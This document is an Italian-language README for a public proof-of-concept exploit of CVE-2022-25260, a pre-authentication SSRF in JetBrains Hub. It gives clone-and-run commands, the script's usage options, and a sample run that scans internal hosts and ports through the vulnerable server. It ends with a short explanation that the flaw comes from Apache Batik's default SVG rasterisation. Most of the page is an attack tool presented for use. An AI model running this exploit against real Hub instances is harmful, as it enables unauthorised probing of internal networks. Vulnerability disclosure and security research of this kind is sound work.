
PoC per CVE-2022-25260: SSRF semi-cieco pre-autenticazione in JetBrains Hub
JetBrains Hub SSRF semi-blind pre-autenticazione
Installa ed esegui:
$ git clone https://github.com/yuriisanin/CVE-2022-25260
$ cd CVE-2022-25260/
$ python3 exploit.py -h
|--------------------------------------------------------------------|
| CVE-2022-25260 JetBrains Hub pre-auth semi-blind SSRF |
| developed by Yurii Sanin (Twitter: @SaninYurii) |
|--------------------------------------------------------------------|
usage: exploit.py [-h] -hub_url HUB_URL -email EMAIL [-internal_urls_file INTERNAL_URLS_FILE] [-internal_url INTERNAL_URL]
optional arguments:
-h, --help show this help message and exit
-hub_url HUB_URL Istanza Hub di destinazione
-email EMAIL Indirizzo email di un utente qualsiasi nel sistema
-internal_urls_file INTERNAL_URLS_FILE
Percorso del file con gli URL dei servizi interni
-internal_url INTERNAL_URL
URL del servizio interno
Esempio:
$ python3 exploit.py hub_url http://localhost:8080 -email [email protected] -internal_urls_file ./assets/payloads/urls.txt
|--------------------------------------------------------------------|
| CVE-2022-25260 JetBrains Hub pre-auth semi-blind SSRF |
| developed by Yurii Sanin (Twitter: @SaninYurii) |
|--------------------------------------------------------------------|
[INFO] - staring scanning for 14 urls.
[INFO] - trying to create Hub service.
[INFO] - Hub service create, serviceId: '02cc6043-1469-4a8e-9a74-b003e721620c'.
[INFO] - trying to request: 'http://127.0.0.1:8080'.
[INFO] - OK. Host 'http://127.0.0.1:8080' is running HTTP service (XML-like response) [FOUND]. Message: 'Attribute name "ng-strict-di" associated with an element type "html" must be followed by the ' = ' character.'.
[INFO] - trying to request: 'http://127.0.0.1:8081'.
[INFO] - OK. Host 'http://127.0.0.1:8081' is DOWN.
[INFO] - trying to request: 'http://google.com'.
[INFO] - OK. Host 'http://google.com' is running HTTP service (presumably XML-like response) [FOUND]. Message: 'The markup in the document preceding the root element must be well-formed.'.
DEMO:

La vulnerabilità era possibile a causa dell'utilizzo di Apache Batik con impostazioni predefinite per la rasterizzazione delle icone SVG fornite dall'utente. Puoi trovare maggiori informazioni sullo sfruttamento della rasterizzazione SVG lato server QUI.